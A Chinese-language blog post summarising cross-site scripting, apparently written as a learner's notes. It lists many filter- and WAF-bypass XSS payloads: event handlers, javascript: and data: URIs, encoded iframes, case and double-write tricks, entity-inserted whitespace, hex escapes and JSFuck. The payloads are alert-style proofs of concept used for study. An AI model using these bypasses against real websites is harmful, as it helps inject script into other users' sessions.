xss 简单总结

xss(cross-site scripting),为了不与css混淆,则缩写为xss.xss一直在owasp组织中被评为十大安全漏洞的第二威胁漏洞,javascript则为其中的shellcode.

xss分类

  • 反射型(reflected xss)
  • 持久型(persistent xss)

xss构造与绕过剖析

绕过过滤(就是关键词有所过滤,但是长度没有限制的情况):

1.利用属性触发

onXXX事件

利用html中的事件触发JavaScript,常见的有如下:

<img src="1" onerror="alert(1)" > 
<input type="text" onfocus="alert(1)">
<input onfocus=javascript:alert(1) autofocus>(添加了autofocus就不需要用户交互了)
<span onmouseover="confirm('xss')"></span>

还有其他事件,详见文章末尾.

javascript:伪协议

很多时候,我们并不能直接构造我们自己的html标记,但是很多html元素的标记中都支持javascript:[code]的这种伪协议形式,这个特殊的协议类型声明了url主体可以是任意的JavaScript代码,由javascript的解释器运行.

<a href="javascript:alert(1)">1</a>
<iframe src="javascript:alert(1)"></iframe>

data:伪协议

data类型的URI,在RFC2397中定义,允许在网页文档中嵌入小的文件,而不是通过外部链接引入。例如对于img这个Tag,哪怕这个图片非常非常的小,也是要从另外一个外部的图片文件例如gif文件中读入的,如果浏览器实现了data类型的Uri格式,这个文件就可以直接从页面文件内部读入了
同javascript:一样,data:也是一种伪协议。完整语法:

data:[<MIME-type>][;charset=<encoding>][;base64],<data>

data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==></object>(比a标签的优点是无需用户交互)
<iframe src="data:text/html;base64,VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=="></iframe>
 url版本:
<iframe src="data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

xline:href

还有这个东西??先记一手

<svg><a xlink:href="javascript:alert(14)">ss<rect width="1000" height="1000" fill="white"/></a></svg>
<math><a xlink:href=javascript:alert(1)>1</a></math>

2.利用css触发

style属性内及css代码之中IE可执行,并且在IE6以上被防御,不适合其他浏览器,我没有复现成功(觉得凉了吧).不过还是贴上网上的payload:

style="width:expression(alert('xss'))"
background-image:url('javascript:alert('xss')')

此外,在<<xss跨站脚本 攻击与防御>>一书还提到使用@import直接执行javascript(没有复现成功)

<style>@import 'javascript:alert("s")';</style>

因此如果css中能执行javascript代码的话,可以使用@import和link标签都可以直接引入css从而进行攻击

3.绕过过滤规则

主要绕过的就是直接寻找输入中,有不有在黑名单中的字符串.对此我们可以采用变形的方式进行绕过.首先我们可以采用双写绕过,大小写绕过,转换为大写,装换为大小写混写,双引号改为单引号,单引号改为不使用引号(如果alert被过滤可以用confirm())

<<script>alert('xss')</script>
<scri<script>pt>alert("1")</scri</script>pt>
<A HREF="JAVASCRIPT:alert(1)">1</a>
<a href="javascript:alert(1)">1</a>
<a href='javascript:alert(1)'>1</a>
<a href=javascript:alert(1)>1</a>

反引号也是可以的

<img src=`x`onerror=`alert(1)`>

也可在标签元素后加左斜杠/(针对space都被过滤的情况)

<img/src="1" onerror="alert(1)">

利用浏览器忽略内容进行xss.用户可以可以通过,注释字符如/**/干扰和欺骗过滤器,还有样式标签中的和结束符0也是被忽略的
(没有一个复现成功,虽然在xss不行,但是在sql injection同样也可能存在这些问题,所以我觉得还是有必要提出这个思路)

<!-- <img src="--><img src="1" onerror="alert(1)">
<comment><img src="</comment><img src="1" onerror="alert(1)">
(看看就行,感觉有点傻这个payload,不过想法真觉得挺好..)

此外我们还可以在code里面添加许多键位符(主要就是tab enter space这三个,其他会打乱代码原有的内容,不过其他的我并没有验证),同样可以运行js代码且通过filter.

<a href="javasc&#9ript:alert(1)">1</a>(制表符)
<a href="javasc&#10ript:alert(1)">1</a>(换行符)
<a href="javasc&#13ript:alert(1)">1</a>(回车符)

(技术细节:这些键位符必须在属性中的引号才能使用,这个得考虑到webkit的词法分析器,因为在webkit的词法分析器里,跳过回车、换行等分隔符时有个前提,那就是必须用单/双引号围住,不然不会跳过。因为如果不使用引号,词法分析器会认为 回车,换行就是结束了.所以回车,换行只在属性中引号里才会起作用。如果你对标签或者属性用回车换行,这时你大可放心,决对不会弹窗)

<iframe src="java&#13script:alert(1)" height=0 width=0 /><iframe>  <!--这个可以弹窗-->
<iframe src=java&#13script:alert(2); height=0 width=0 /><iframe>  <!--这个不可以弹窗-->

4.采用其他编码绕过

采用不同的编码xss常常是开发者想不到的,上文中提到了采用data伪协议的base64编码

<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>1</a>

还有其他的html,url,ascll,unicode等等编码,换就完事.但是说一下js提供了四种字符编码的策略

  1. 三个八进制数字,如果不够个数,前面补0,例如“e”编码为“145”
  2. 两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“x65”
  3. 四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“u0065”
  4. 对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)
  5. jsfuck编码
eg:
<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>

绕过长度(长度有所限制的情况):

其他小技巧

如果alert被过滤可以用confirm()
括号被过滤,可以使用throw来抛出数据

<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

编码问题

浏览器的解析规则:浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤其当遇到复杂代码时,可能该段代码会经过多个解析器解析。

比如:<a href="javascript:window.open('http://www.baidu.com')">test</a>

这段代码,HTML解析器首先工作(注:此时,若href=”字符串”中的字符串存在字符引用,会对其解码)。然后URL解析器开始对href值进行URL解析。进行URL解析时,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。即,javascript:是不能进行任何js编码的。解析了javascript:之后,会由JS解析器进行解析。JS解析器针对一些编码,其只有在标志符名称里的编码字符才能够被正常的解析。解析完window.open以后,又会由URL解析器进行解析。想了解各解析器的特性,可参考这篇文章深入理解浏览器解析机制和XSS向量编码

可以看到,该代码经过了HTML->URL->JS->URL 四重解析。由于不同的解析器能够分别对一些编码格式进行解析,所以我们可以通过生成特定格式的编码代码,令其在依次解码后能够正确执行,从而绕过WAF。

on事件

onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop

cheating sheet

cheating sheet相当于字典,罗列了很多xss代码,几乎涵盖了所有可能触发xss的测试用例,所以我们遇到输入的时候,直接就上cheating sheet,一把梭.在google上搜索ha.ckers.org 就能找到关于xss cheating sheet的内容,在owasp也有说明.

本文链接:

http://chrisyy.top/index.php/archives/3/
1 + 5 =
快来做第一个评论的人吧~